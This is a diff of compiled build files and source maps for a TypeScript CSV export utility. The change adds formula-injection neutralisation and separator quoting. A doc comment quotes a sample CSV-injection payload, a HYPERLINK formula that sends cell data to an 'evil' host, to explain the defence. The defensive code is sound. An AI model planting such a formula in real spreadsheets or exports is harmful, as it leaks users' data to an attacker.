EACA,EACA,EAAW,aACX,EAAsB,CAAC,EACV,CACb,IAAM,EAAO,IAAI,KAAK,CAAC,EAAM,EAAM,EAAS,CAAO,CAAC,EAAG,CACnD,KAAM,wBACV,CAAC,EACD,MAAM,EAAA,oBAAoB,EAAM,CAAQ,CAC5C"}
|
|
1
|
+
{"version":3,"file":"csv.cjs","names":[],"sources":["../../src/utils/csv.ts"],"sourcesContent":["/**\n * @tempest-limits param-count — `downloadCsv(rows, columns, \"usuarios.csv\")` reads\n * in the order the sentence does, and its two trailing parameters have defaults,\n * so the common call passes three. Wrapping them in an object would break every\n * caller of a published export for no gain in what the call site says.\n */\n// CSV that survives contact with real data. Every app writes this by hand and\n// every hand-written version gets the same two things wrong: a value containing\n// the delimiter splits the row, and a value containing a quote breaks the quoting\n// it was supposed to be protected by. Both are one-liners in RFC 4180 and neither\n// is obvious until a customer's name has a comma in it.\n\nimport { shareOrDownloadBlob } from \"../share/share-or-download\";\n\n/**\n * Byte order mark, as the character `String.prototype` sees it.\n *\n * Excel on a pt-BR install reads a BOM-less UTF-8 file as Latin-1 and turns\n * every accented name into mojibake. It is three bytes to avoid a support\n * ticket, so it is on by default.\n */\nconst BOM = \"\\uFEFF\";\n\n/** One column of the exported file. */\nexport interface CsvColumn<T> {\n /** Property of the row this column reads from. Doubles as the column key. */\n key: keyof T;\n /** Column heading, written to the first line. */\n header: string;\n /**\n * Value for the file. Defaults to `String(row[key])`, with nullish becoming an\n * empty field.\n *\n * A `DataTableColumn` renders cells to `ReactNode`, which cannot be written to\n * a text file — a badge or a link would serialize as `[object Object]`. Give\n * the column this accessor and the export says what the badge said.\n */\n csv?: (row: T) => string | number | boolean | null | undefined;\n}\n\n/** Options for {@link toCsv}. */\nexport interface CsvOptions {\n /**\n * Field separator. Default `\",\"`.\n *\n * Use `\";\"` for Excel on a locale whose decimal separator is the comma —\n * which is every pt-BR install — otherwise it opens the file in one column.\n */\n delimiter?: \",\" | \";\";\n /** Prefix the output with a UTF-8 BOM. Default `true`. */\n bom?: boolean;\n /**\n * Prefix `'` to every text field that a spreadsheet would read as a formula.\n * Default `true`.\n *\n * A field starting with `=`, `+`, `-`, `@`, TAB or CR is a formula start by the\n * OWASP list (Excel and Google Sheets read it so; LibreOffice 26.2 evaluated only\n * `=`), and opening the file evaluates it: a name typed\n * as `=HYPERLINK(\"https://evil/?d=\"&A1,\"ver\")` turns into a link that exfiltrates\n * other cells (OWASP \"CSV Injection\"). Measured on LibreOffice 26.2: `=1+2` was\n * imported as the formula `of:=1+2` with value `3`. The default is the safe one\n * because the BOM and the `;` delimiter already aim the file at a spreadsheet,\n * and because the app that exports rarely controls every value in it.\n *\n * Text holding a `,`, `;` or TAB is also quoted whatever the delimiter\n * (#481): a spreadsheet whose list separator is not the file's would otherwise\n * split the bare field there and could start a cell with `=`. A quoted field is\n * not split, so the quotes close that path without touching the text —\n * `x;=1+2` is written `\"x;=1+2\"`.\n *\n * Numbers are never prefixed: a `number` cell, or a text field that is only a\n * number (`\"-5\"`, `\"-1.234,56\"`, `\"+42\"`, `\"1e-7\"`), cannot be a formula, and\n * neither can a lone `\"-\"`, which is left alone too. Pass\n * `false` when the file feeds another system's importer rather than a person's\n * spreadsheet, so the bytes round-trip unchanged and only the delimiter, quotes\n * and line breaks decide the quoting.\n */\n neutralizeFormulas?: boolean;\n}\n\n/** First characters that make a spreadsheet read a field as a formula (OWASP). */\nconst FORMULA_TRIGGER = /^[=+\\-@\\t\\r]/;\n\n/**\n * A text field that is only a number, in either decimal convention.\n *\n * These start with `-` or `+` but cannot be formulas, and prefixing them would\n * turn every negative amount in a report into text.\n */\nconst PLAIN_NUMBER = /^[+-]?(?:\\d+(?:[.,]\\d+)*|\\d*[.,]\\d+)(?:e[+-]?\\d+)?$/i;\n\n/**\n * Neutralize a text field a spreadsheet would evaluate.\n *\n * Two shapes are exempt from the OWASP trigger list: a plain number (see\n * {@link PLAIN_NUMBER}) and a lone `-`, the usual \"no value\" placeholder in a\n * report. A lone operator has no operand, so no spreadsheet can evaluate it, and\n * prefixing it printed `'-` in LibreOffice 26.2 where `-` read as text.\n *\n * Measured on LibreOffice 26.2 headless (`--infilter=\"CSV:59,34,76,1\"`) without\n * the prefix: `=1+2` was a formula; `+55 (11) 99999-9999`, `@maria`, a TAB before\n * `=`, a space before `=` and a quoted newline before `=` all stayed text. The\n * list is kept whole anyway — Excel and Google Sheets read `+`, `-`, `@` and TAB\n * as formula starts, and that is what OWASP's list is for. A space or newline\n * before `=` is not added: it read as text, not as a formula.\n *\n * Only the field start is checked. A `,`, `;` or TAB inside the text does not\n * get a `'` after it: the field is quoted (see {@link escapeField}), a quoted\n * field is not split by a spreadsheet whatever its list separator, and a `'`\n * mid-text would corrupt the value in every spreadsheet for no protection.\n *\n * @param value - The already-stringified field.\n * @returns The field with a leading `'` when it would read as a formula.\n */\nfunction neutralizeFormula(value: string): string {\n if (value === \"-\" || PLAIN_NUMBER.test(value)) return value;\n return FORMULA_TRIGGER.test(value) ? `'${value}` : value;\n}\n\n/**\n * Characters a spreadsheet may split a bare field on: either locale's list\n * separator (`,` in en-US, `;` in pt-BR) and TAB, which Excel's import also\n * offers. A file written with one delimiter is routinely opened by a spreadsheet\n * that splits on the other, so text holding any of them is quoted (see\n * {@link escapeField}).\n */\nconst LIST_SEPARATORS = /[,;\\t]/;\n\n/**\n * Quote one field per RFC 4180.\n *\n * A field is quoted when it contains the delimiter, a double quote, or a line\n * break; inside a quoted field, each double quote is doubled. With\n * `guardSeparators`, a text field holding any list separator (`,`, `;`, TAB —\n * see {@link LIST_SEPARATORS}) is quoted as well, whatever the delimiter, so a\n * spreadsheet that splits on the other locale's separator keeps it in one cell\n * (#481). A plain number is left out of that rule: it cannot carry a formula,\n * and `-1.234,56` in a `;` file stays as it was. Fields that need none of this\n * are written bare, which keeps the common file readable.\n *\n * @param value - The already-stringified field.\n * @param delimiter - The separator in use, which decides part of the quoting.\n * @param guardSeparators - Also quote text holding the other list separators;\n * on whenever formula neutralization is.\n * @returns The field, quoted if it has to be.\n */\nfunction escapeField(value: string, delimiter: string, guardSeparators: boolean): string {\n const mustQuote =\n value.includes(delimiter) ||\n (guardSeparators && LIST_SEPARATORS.test(value) && !PLAIN_NUMBER.test(value)) ||\n value.includes('\"') ||\n value.includes(\"\\n\") ||\n value.includes(\"\\r\");\n if (!mustQuote) return value;\n return `\"${value.replaceAll('\"', '\"\"')}\"`;\n}\n\n/**\n * Stringify one cell, keeping the difference between \"no value\" and \"zero\".\n *\n * `null` and `undefined` become an empty field; `0` and `false` are values\n * somebody chose and are written out. Getting this backwards is how an export\n * ends up under-reporting every row that legitimately holds a zero.\n *\n * Text — a string, or anything else stringified — goes through the formula\n * neutralization when it is on; numbers, bigints and booleans never do, since none\n * of them can stringify to a formula.\n *\n * @param value - The raw cell value.\n * @param neutralize - Whether to neutralize a formula-looking text field.\n * @returns The text to write.\n */\nfunction cellText(value: unknown, neutralize: boolean): string {\n if (value === null || value === undefined) return \"\";\n if (typeof value === \"number\" || typeof value === \"bigint\" || typeof value === \"boolean\") {\n return String(value);\n }\n if (value instanceof Date) return value.toISOString();\n return neutralize ? neutralizeFormula(String(value)) : String(value);\n}\n\n/**\n * Serialize rows to CSV text, RFC 4180 style.\n *\n * Rows are separated by `\\r\\n` — the RFC's terminator and the one Excel is least\n * surprised by. Text that a spreadsheet would evaluate as a formula is written\n * with a leading `'` unless `neutralizeFormulas` is `false` (see\n * {@link CsvOptions.neutralizeFormulas}). A row is emitted for the header even when `rows` is empty, so the\n * person who opens the file sees which columns they asked for instead of a blank\n * document.\n *\n * @example\n * const csv = toCsv(users, [\n * { key: \"name\", header: \"Nome\" },\n * { key: \"email\", header: \"E-mail\" },\n * { key: \"plan\", header: \"Plano\", csv: (user) => user.plan.label },\n * ]);\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param options - Delimiter, BOM and formula neutralization.\n * @returns The complete file contents.\n */\nexport function toCsv<T>(\n rows: readonly T[],\n columns: readonly CsvColumn<T>[],\n options: CsvOptions = {},\n): string {\n const { delimiter = \",\", bom = true, neutralizeFormulas = true } = options;\n\n const lines = [\n columns\n .map((column) =>\n escapeField(\n cellText(column.header, neutralizeFormulas),\n delimiter,\n neutralizeFormulas,\n ),\n )\n .join(delimiter),\n ];\n\n for (const row of rows) {\n const cells = columns.map((column) => {\n const raw = column.csv\n ? column.csv(row)\n : (row as Record<string, unknown>)[column.key as string];\n return escapeField(cellText(raw, neutralizeFormulas), delimiter, neutralizeFormulas);\n });\n lines.push(cells.join(delimiter));\n }\n\n return `${bom ? BOM : \"\"}${lines.join(\"\\r\\n\")}`;\n}\n\n/**\n * Build a CSV and hand it to the user.\n *\n * Goes through {@link shareOrDownloadBlob}, so on a phone it opens the native\n * share sheet and everywhere else it downloads — the same path every other\n * generated artifact in the SDK takes, instead of a fourth hand-rolled `<a\n * download>`.\n *\n * @example\n * await downloadCsv(users, COLUMNS, \"usuarios.csv\");\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param fileName - File name offered to the user. Default `\"export.csv\"`.\n * @param options - Delimiter, BOM and formula neutralization, forwarded to\n * {@link toCsv}.\n * @returns A promise that resolves once the share or download completes.\n */\nexport async function downloadCsv<T>(\n rows: readonly T[],\n columns: readonly CsvColumn<T>[],\n fileName = \"export.csv\",\n options: CsvOptions = {},\n): Promise<void> {\n const blob = new Blob([toCsv(rows, columns, options)], {\n type: \"text/csv;charset=utf-8\",\n });\n await shareOrDownloadBlob(blob, fileName);\n}\n"],"mappings":"kDAqBA,IAAM,EAAM,IA4DN,EAAkB,eAQlB,EAAe,uDAyBrB,SAAS,EAAkB,EAAuB,CAE9C,OADI,IAAU,KAAO,EAAa,KAAK,CAAK,EAAU,EAC/C,EAAgB,KAAK,CAAK,EAAI,IAAI,IAAU,CACvD,CASA,IAAM,EAAkB,SAoBxB,SAAS,EAAY,EAAe,EAAmB,EAAkC,CAQrF,OANI,EAAM,SAAS,CAAS,GACvB,GAAmB,EAAgB,KAAK,CAAK,GAAK,CAAC,EAAa,KAAK,CAAK,GAC3E,EAAM,SAAS,GAAG,GAClB,EAAM,SAAS;CAAI,GACnB,EAAM,SAAS,IAAI,EAEhB,IAAI,EAAM,WAAW,IAAK,IAAI,EAAE,GADhB,CAE3B,CAiBA,SAAS,EAAS,EAAgB,EAA6B,CAM3D,OALI,GAAU,KAAoC,GAC9C,OAAO,GAAU,UAAY,OAAO,GAAU,UAAY,OAAO,GAAU,UACpE,OAAO,CAAK,EAEnB,aAAiB,KAAa,EAAM,YAAY,EAC7C,EAAa,EAAkB,OAAO,CAAK,CAAC,EAAI,OAAO,CAAK,CACvE,CAwBA,SAAgB,EACZ,EACA,EACA,EAAsB,CAAC,EACjB,CACN,GAAM,CAAE,YAAY,IAAK,MAAM,GAAM,qBAAqB,IAAS,EAE7D,EAAQ,CACV,EACK,IAAK,GACF,EACI,EAAS,EAAO,OAAQ,CAAkB,EAC1C,EACA,CACJ,CACJ,CAAC,CACA,KAAK,CAAS,CACvB,EAEA,IAAK,IAAM,KAAO,EAAM,CACpB,IAAM,EAAQ,EAAQ,IAAK,GAIhB,EAAY,EAHP,EAAO,IACb,EAAO,IAAI,CAAG,EACb,EAAgC,EAAO,KACb,CAAkB,EAAG,EAAW,CAAkB,CACtF,EACD,EAAM,KAAK,EAAM,KAAK,CAAS,CAAC,CACpC,CAEA,MAAO,GAAG,EAAM,EAAM,KAAK,EAAM,KAAK;CAAM,GAChD,CAoBA,eAAsB,EAClB,EACA,EACA,EAAW,aACX,EAAsB,CAAC,EACV,CACb,IAAM,EAAO,IAAI,KAAK,CAAC,EAAM,EAAM,EAAS,CAAO,CAAC,EAAG,CACnD,KAAM,wBACV,CAAC,EACD,MAAM,EAAA,oBAAoB,EAAM,CAAQ,CAC5C"}
|
package/dist/utils/csv.js
CHANGED
|
@@ -4,25 +4,26 @@ var t = "", n = /^[=+\-@\t\r]/, r = /^[+-]?(?:\d+(?:[.,]\d+)*|\d*[.,]\d+)(?:e
|
|
|
4
4
|
function i(e) {
|
|
5
5
|
return e === "-" || r.test(e) ? e : n.test(e) ? `'${e}` : e;
|
|
6
6
|
}
|
|
7
|
-
|
|
8
|
-
|
|
7
|
+
var a = /[,;\t]/;
|
|
8
|
+
function o(e, t, n) {
|
|
9
|
+
return e.includes(t) || n && a.test(e) && !r.test(e) || e.includes("\"") || e.includes("\n") || e.includes("\r") ? `"${e.replaceAll("\"", "\"\"")}"` : e;
|
|
9
10
|
}
|
|
10
|
-
function
|
|
11
|
+
function s(e, t) {
|
|
11
12
|
return e == null ? "" : typeof e == "number" || typeof e == "bigint" || typeof e == "boolean" ? String(e) : e instanceof Date ? e.toISOString() : t ? i(String(e)) : String(e);
|
|
12
13
|
}
|
|
13
|
-
function
|
|
14
|
-
let { delimiter: i = ",", bom:
|
|
14
|
+
function c(e, n, r = {}) {
|
|
15
|
+
let { delimiter: i = ",", bom: a = !0, neutralizeFormulas: c = !0 } = r, l = [n.map((e) => o(s(e.header, c), i, c)).join(i)];
|
|
15
16
|
for (let t of e) {
|
|
16
|
-
let e = n.map((e) =>
|
|
17
|
+
let e = n.map((e) => o(s(e.csv ? e.csv(t) : t[e.key], c), i, c));
|
|
17
18
|
l.push(e.join(i));
|
|
18
19
|
}
|
|
19
|
-
return `${
|
|
20
|
+
return `${a ? t : ""}${l.join("\r\n")}`;
|
|
20
21
|
}
|
|
21
|
-
async function
|
|
22
|
-
let a = new Blob([
|
|
22
|
+
async function l(t, n, r = "export.csv", i = {}) {
|
|
23
|
+
let a = new Blob([c(t, n, i)], { type: "text/csv;charset=utf-8" });
|
|
23
24
|
await e(a, r);
|
|
24
25
|
}
|
|
25
26
|
//#endregion
|
|
26
|
-
export {
|
|
27
|
+
export { l as downloadCsv, c as toCsv };
|
|
27
28
|
|
|
28
29
|
//# sourceMappingURL=csv.js.map
|
package/dist/utils/csv.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"csv.js","names":[],"sources":["../../src/utils/csv.ts"],"sourcesContent":["/**\n * @tempest-limits param-count — `downloadCsv(rows, columns, \"usuarios.csv\")` reads\n * in the order the sentence does, and its two trailing parameters have defaults,\n * so the common call passes three. Wrapping them in an object would break every\n * caller of a published export for no gain in what the call site says.\n */\n// CSV that survives contact with real data. Every app writes this by hand and\n// every hand-written version gets the same two things wrong: a value containing\n// the delimiter splits the row, and a value containing a quote breaks the quoting\n// it was supposed to be protected by. Both are one-liners in RFC 4180 and neither\n// is obvious until a customer's name has a comma in it.\n\nimport { shareOrDownloadBlob } from \"../share/share-or-download\";\n\n/**\n * Byte order mark, as the character `String.prototype` sees it.\n *\n * Excel on a pt-BR install reads a BOM-less UTF-8 file as Latin-1 and turns\n * every accented name into mojibake. It is three bytes to avoid a support\n * ticket, so it is on by default.\n */\nconst BOM = \"\\uFEFF\";\n\n/** One column of the exported file. */\nexport interface CsvColumn<T> {\n /** Property of the row this column reads from. Doubles as the column key. */\n key: keyof T;\n /** Column heading, written to the first line. */\n header: string;\n /**\n * Value for the file. Defaults to `String(row[key])`, with nullish becoming an\n * empty field.\n *\n * A `DataTableColumn` renders cells to `ReactNode`, which cannot be written to\n * a text file — a badge or a link would serialize as `[object Object]`. Give\n * the column this accessor and the export says what the badge said.\n */\n csv?: (row: T) => string | number | boolean | null | undefined;\n}\n\n/** Options for {@link toCsv}. */\nexport interface CsvOptions {\n /**\n * Field separator. Default `\",\"`.\n *\n * Use `\";\"` for Excel on a locale whose decimal separator is the comma —\n * which is every pt-BR install — otherwise it opens the file in one column.\n */\n delimiter?: \",\" | \";\";\n /** Prefix the output with a UTF-8 BOM. Default `true`. */\n bom?: boolean;\n /**\n * Prefix `'` to every text field that a spreadsheet would read as a formula.\n * Default `true`.\n *\n * A field starting with `=`, `+`, `-`, `@`, TAB or CR is a formula start by the\n * OWASP list (Excel and Google Sheets read it so; LibreOffice 26.2 evaluated only\n * `=`), and opening the file evaluates it: a name typed\n * as `=HYPERLINK(\"https://evil/?d=\"&A1,\"ver\")` turns into a link that exfiltrates\n * other cells (OWASP \"CSV Injection\"). Measured on LibreOffice 26.2: `=1+2` was\n * imported as the formula `of:=1+2` with value `3`. The default is the safe one\n * because the BOM and the `;` delimiter already aim the file at a spreadsheet,\n * and because the app that exports rarely controls every value in it.\n *\n * Numbers are never prefixed: a `number` cell, or a text field that is only a\n * number (`\"-5\"`, `\"-1.234,56\"`, `\"+42\"`, `\"1e-7\"`), cannot be a formula, and\n * neither can a lone `\"-\"`, which is left alone too. Pass\n * `false` when the file feeds another system's importer rather than a person's\n * spreadsheet, so the bytes round-trip unchanged.\n */\n neutralizeFormulas?: boolean;\n}\n\n/** First characters that make a spreadsheet read a field as a formula (OWASP). */\nconst FORMULA_TRIGGER = /^[=+\\-@\\t\\r]/;\n\n/**\n * A text field that is only a number, in either decimal convention.\n *\n * These start with `-` or `+` but cannot be formulas, and prefixing them would\n * turn every negative amount in a report into text.\n */\nconst PLAIN_NUMBER = /^[+-]?(?:\\d+(?:[.,]\\d+)*|\\d*[.,]\\d+)(?:e[+-]?\\d+)?$/i;\n\n/**\n * Neutralize a text field a spreadsheet would evaluate.\n *\n * Two shapes are exempt from the OWASP trigger list: a plain number (see\n * {@link PLAIN_NUMBER}) and a lone `-`, the usual \"no value\" placeholder in a\n * report. A lone operator has no operand, so no spreadsheet can evaluate it, and\n * prefixing it printed `'-` in LibreOffice 26.2 where `-` read as text.\n *\n * Measured on LibreOffice 26.2 headless (`--infilter=\"CSV:59,34,76,1\"`) without\n * the prefix: `=1+2` was a formula; `+55 (11) 99999-9999`, `@maria`, a TAB before\n * `=`, a space before `=` and a quoted newline before `=` all stayed text. The\n * list is kept whole anyway — Excel and Google Sheets read `+`, `-`, `@` and TAB\n * as formula starts, and that is what OWASP's list is for. A space or newline\n * before `=` is not added: it read as text, not as a formula.\n *\n * @param value - The already-stringified field.\n * @returns The field with a leading `'` when it would read as a formula.\n */\nfunction neutralizeFormula(value: string): string {\n if (value === \"-\" || PLAIN_NUMBER.test(value)) return value;\n return FORMULA_TRIGGER.test(value) ? `'${value}` : value;\n}\n\n/**\n * Quote one field per RFC 4180.\n *\n * A field is quoted when it contains the delimiter, a double quote, or a line\n * break; inside a quoted field, each double quote is doubled. Fields that need\n * none of this are written bare, which keeps the common file readable.\n *\n * @param value - The already-stringified field.\n * @param delimiter - The separator in use, which decides part of the quoting.\n * @returns The field, quoted if it has to be.\n */\nfunction escapeField(value: string, delimiter: string): string {\n const mustQuote =\n value.includes(delimiter) ||\n value.includes('\"') ||\n value.includes(\"\\n\") ||\n value.includes(\"\\r\");\n if (!mustQuote) return value;\n return `\"${value.replaceAll('\"', '\"\"')}\"`;\n}\n\n/**\n * Stringify one cell, keeping the difference between \"no value\" and \"zero\".\n *\n * `null` and `undefined` become an empty field; `0` and `false` are values\n * somebody chose and are written out. Getting this backwards is how an export\n * ends up under-reporting every row that legitimately holds a zero.\n *\n * Text — a string, or anything else stringified — goes through the formula\n * neutralization when it is on; numbers, bigints and booleans never do, since none\n * of them can stringify to a formula.\n *\n * @param value - The raw cell value.\n * @param neutralize - Whether to neutralize a formula-looking text field.\n * @returns The text to write.\n */\nfunction cellText(value: unknown, neutralize: boolean): string {\n if (value === null || value === undefined) return \"\";\n if (typeof value === \"number\" || typeof value === \"bigint\" || typeof value === \"boolean\") {\n return String(value);\n }\n if (value instanceof Date) return value.toISOString();\n return neutralize ? neutralizeFormula(String(value)) : String(value);\n}\n\n/**\n * Serialize rows to CSV text, RFC 4180 style.\n *\n * Rows are separated by `\\r\\n` — the RFC's terminator and the one Excel is least\n * surprised by. Text that a spreadsheet would evaluate as a formula is written\n * with a leading `'` unless `neutralizeFormulas` is `false` (see\n * {@link CsvOptions.neutralizeFormulas}). A row is emitted for the header even when `rows` is empty, so the\n * person who opens the file sees which columns they asked for instead of a blank\n * document.\n *\n * @example\n * const csv = toCsv(users, [\n * { key: \"name\", header: \"Nome\" },\n * { key: \"email\", header: \"E-mail\" },\n * { key: \"plan\", header: \"Plano\", csv: (user) => user.plan.label },\n * ]);\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param options - Delimiter, BOM and formula neutralization.\n * @returns The complete file contents.\n */\nexport function toCsv<T>(\n rows: readonly T[],\n columns: readonly CsvColumn<T>[],\n options: CsvOptions = {},\n): string {\n const { delimiter = \",\", bom = true, neutralizeFormulas = true } = options;\n\n const lines = [\n columns\n .map((column) => escapeField(cellText(column.header, neutralizeFormulas), delimiter))\n .join(delimiter),\n ];\n\n for (const row of rows) {\n const cells = columns.map((column) => {\n const raw = column.csv\n ? column.csv(row)\n : (row as Record<string, unknown>)[column.key as string];\n return escapeField(cellText(raw, neutralizeFormulas), delimiter);\n });\n lines.push(cells.join(delimiter));\n }\n\n return `${bom ? BOM : \"\"}${lines.join(\"\\r\\n\")}`;\n}\n\n/**\n * Build a CSV and hand it to the user.\n *\n * Goes through {@link shareOrDownloadBlob}, so on a phone it opens the native\n * share sheet and everywhere else it downloads — the same path every other\n * generated artifact in the SDK takes, instead of a fourth hand-rolled `<a\n * download>`.\n *\n * @example\n * await downloadCsv(users, COLUMNS, \"usuarios.csv\");\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param fileName - File name offered to the user. Default `\"export.csv\"`.\n * @param options - Delimiter, BOM and formula neutralization, forwarded to\n * {@link toCsv}.\n * @returns A promise that resolves once the share or download completes.\n */\nexport async function downloadCsv<T>(\n rows: readonly T[],\n columns: readonly CsvColumn<T>[],\n fileName = \"export.csv\",\n options: CsvOptions = {},\n): Promise<void> {\n const blob = new Blob([toCsv(rows, columns, options)], {\n type: \"text/csv;charset=utf-8\",\n });\n await shareOrDownloadBlob(blob, fileName);\n}\n"],"mappings":";;AAqBA,IAAM,IAAM,KAqDN,IAAkB,gBAQlB,IAAe;AAoBrB,SAAS,EAAkB,GAAuB;CAE9C,OADI,MAAU,OAAO,EAAa,KAAK,CAAK,IAAU,IAC/C,EAAgB,KAAK,CAAK,IAAI,IAAI,MAAU;AACvD;AAaA,SAAS,EAAY,GAAe,GAA2B;CAO3D,OALI,EAAM,SAAS,CAAS,KACxB,EAAM,SAAS,IAAG,KAClB,EAAM,SAAS,IAAI,KACnB,EAAM,SAAS,IAAI,IAEhB,IAAI,EAAM,WAAW,MAAK,MAAI,EAAE,KADhB;AAE3B;AAiBA,SAAS,EAAS,GAAgB,GAA6B;CAM3D,OALI,KAAU,OAAoC,KAC9C,OAAO,KAAU,YAAY,OAAO,KAAU,YAAY,OAAO,KAAU,YACpE,OAAO,CAAK,IAEnB,aAAiB,OAAa,EAAM,YAAY,IAC7C,IAAa,EAAkB,OAAO,CAAK,CAAC,IAAI,OAAO,CAAK;AACvE;AAwBA,SAAgB,EACZ,GACA,GACA,IAAsB,CAAC,GACjB;CACN,IAAM,EAAE,eAAY,KAAK,SAAM,IAAM,wBAAqB,OAAS,GAE7D,IAAQ,CACV,EACK,KAAK,MAAW,EAAY,EAAS,EAAO,QAAQ,CAAkB,GAAG,CAAS,CAAC,CAAC,CACpF,KAAK,CAAS,CACvB;CAEA,KAAK,IAAM,KAAO,GAAM;EACpB,IAAM,IAAQ,EAAQ,KAAK,MAIhB,EAAY,EAHP,EAAO,MACb,EAAO,IAAI,CAAG,IACb,EAAgC,EAAO,MACb,CAAkB,GAAG,CAAS,CAClE;EACD,EAAM,KAAK,EAAM,KAAK,CAAS,CAAC;CACpC;CAEA,OAAO,GAAG,IAAM,IAAM,KAAK,EAAM,KAAK,MAAM;AAChD;AAoBA,eAAsB,EAClB,GACA,GACA,IAAW,cACX,IAAsB,CAAC,GACV;CACb,IAAM,IAAO,IAAI,KAAK,CAAC,EAAM,GAAM,GAAS,CAAO,CAAC,GAAG,EACnD,MAAM,yBACV,CAAC;CACD,MAAM,EAAoB,GAAM,CAAQ;AAC5C"}
|
|
1
|
+
{"version":3,"file":"csv.js","names":[],"sources":["../../src/utils/csv.ts"],"sourcesContent":["/**\n * @tempest-limits param-count — `downloadCsv(rows, columns, \"usuarios.csv\")` reads\n * in the order the sentence does, and its two trailing parameters have defaults,\n * so the common call passes three. Wrapping them in an object would break every\n * caller of a published export for no gain in what the call site says.\n */\n// CSV that survives contact with real data. Every app writes this by hand and\n// every hand-written version gets the same two things wrong: a value containing\n// the delimiter splits the row, and a value containing a quote breaks the quoting\n// it was supposed to be protected by. Both are one-liners in RFC 4180 and neither\n// is obvious until a customer's name has a comma in it.\n\nimport { shareOrDownloadBlob } from \"../share/share-or-download\";\n\n/**\n * Byte order mark, as the character `String.prototype` sees it.\n *\n * Excel on a pt-BR install reads a BOM-less UTF-8 file as Latin-1 and turns\n * every accented name into mojibake. It is three bytes to avoid a support\n * ticket, so it is on by default.\n */\nconst BOM = \"\\uFEFF\";\n\n/** One column of the exported file. */\nexport interface CsvColumn<T> {\n /** Property of the row this column reads from. Doubles as the column key. */\n key: keyof T;\n /** Column heading, written to the first line. */\n header: string;\n /**\n * Value for the file. Defaults to `String(row[key])`, with nullish becoming an\n * empty field.\n *\n * A `DataTableColumn` renders cells to `ReactNode`, which cannot be written to\n * a text file — a badge or a link would serialize as `[object Object]`. Give\n * the column this accessor and the export says what the badge said.\n */\n csv?: (row: T) => string | number | boolean | null | undefined;\n}\n\n/** Options for {@link toCsv}. */\nexport interface CsvOptions {\n /**\n * Field separator. Default `\",\"`.\n *\n * Use `\";\"` for Excel on a locale whose decimal separator is the comma —\n * which is every pt-BR install — otherwise it opens the file in one column.\n */\n delimiter?: \",\" | \";\";\n /** Prefix the output with a UTF-8 BOM. Default `true`. */\n bom?: boolean;\n /**\n * Prefix `'` to every text field that a spreadsheet would read as a formula.\n * Default `true`.\n *\n * A field starting with `=`, `+`, `-`, `@`, TAB or CR is a formula start by the\n * OWASP list (Excel and Google Sheets read it so; LibreOffice 26.2 evaluated only\n * `=`), and opening the file evaluates it: a name typed\n * as `=HYPERLINK(\"https://evil/?d=\"&A1,\"ver\")` turns into a link that exfiltrates\n * other cells (OWASP \"CSV Injection\"). Measured on LibreOffice 26.2: `=1+2` was\n * imported as the formula `of:=1+2` with value `3`. The default is the safe one\n * because the BOM and the `;` delimiter already aim the file at a spreadsheet,\n * and because the app that exports rarely controls every value in it.\n *\n * Text holding a `,`, `;` or TAB is also quoted whatever the delimiter\n * (#481): a spreadsheet whose list separator is not the file's would otherwise\n * split the bare field there and could start a cell with `=`. A quoted field is\n * not split, so the quotes close that path without touching the text —\n * `x;=1+2` is written `\"x;=1+2\"`.\n *\n * Numbers are never prefixed: a `number` cell, or a text field that is only a\n * number (`\"-5\"`, `\"-1.234,56\"`, `\"+42\"`, `\"1e-7\"`), cannot be a formula, and\n * neither can a lone `\"-\"`, which is left alone too. Pass\n * `false` when the file feeds another system's importer rather than a person's\n * spreadsheet, so the bytes round-trip unchanged and only the delimiter, quotes\n * and line breaks decide the quoting.\n */\n neutralizeFormulas?: boolean;\n}\n\n/** First characters that make a spreadsheet read a field as a formula (OWASP). */\nconst FORMULA_TRIGGER = /^[=+\\-@\\t\\r]/;\n\n/**\n * A text field that is only a number, in either decimal convention.\n *\n * These start with `-` or `+` but cannot be formulas, and prefixing them would\n * turn every negative amount in a report into text.\n */\nconst PLAIN_NUMBER = /^[+-]?(?:\\d+(?:[.,]\\d+)*|\\d*[.,]\\d+)(?:e[+-]?\\d+)?$/i;\n\n/**\n * Neutralize a text field a spreadsheet would evaluate.\n *\n * Two shapes are exempt from the OWASP trigger list: a plain number (see\n * {@link PLAIN_NUMBER}) and a lone `-`, the usual \"no value\" placeholder in a\n * report. A lone operator has no operand, so no spreadsheet can evaluate it, and\n * prefixing it printed `'-` in LibreOffice 26.2 where `-` read as text.\n *\n * Measured on LibreOffice 26.2 headless (`--infilter=\"CSV:59,34,76,1\"`) without\n * the prefix: `=1+2` was a formula; `+55 (11) 99999-9999`, `@maria`, a TAB before\n * `=`, a space before `=` and a quoted newline before `=` all stayed text. The\n * list is kept whole anyway — Excel and Google Sheets read `+`, `-`, `@` and TAB\n * as formula starts, and that is what OWASP's list is for. A space or newline\n * before `=` is not added: it read as text, not as a formula.\n *\n * Only the field start is checked. A `,`, `;` or TAB inside the text does not\n * get a `'` after it: the field is quoted (see {@link escapeField}), a quoted\n * field is not split by a spreadsheet whatever its list separator, and a `'`\n * mid-text would corrupt the value in every spreadsheet for no protection.\n *\n * @param value - The already-stringified field.\n * @returns The field with a leading `'` when it would read as a formula.\n */\nfunction neutralizeFormula(value: string): string {\n if (value === \"-\" || PLAIN_NUMBER.test(value)) return value;\n return FORMULA_TRIGGER.test(value) ? `'${value}` : value;\n}\n\n/**\n * Characters a spreadsheet may split a bare field on: either locale's list\n * separator (`,` in en-US, `;` in pt-BR) and TAB, which Excel's import also\n * offers. A file written with one delimiter is routinely opened by a spreadsheet\n * that splits on the other, so text holding any of them is quoted (see\n * {@link escapeField}).\n */\nconst LIST_SEPARATORS = /[,;\\t]/;\n\n/**\n * Quote one field per RFC 4180.\n *\n * A field is quoted when it contains the delimiter, a double quote, or a line\n * break; inside a quoted field, each double quote is doubled. With\n * `guardSeparators`, a text field holding any list separator (`,`, `;`, TAB —\n * see {@link LIST_SEPARATORS}) is quoted as well, whatever the delimiter, so a\n * spreadsheet that splits on the other locale's separator keeps it in one cell\n * (#481). A plain number is left out of that rule: it cannot carry a formula,\n * and `-1.234,56` in a `;` file stays as it was. Fields that need none of this\n * are written bare, which keeps the common file readable.\n *\n * @param value - The already-stringified field.\n * @param delimiter - The separator in use, which decides part of the quoting.\n * @param guardSeparators - Also quote text holding the other list 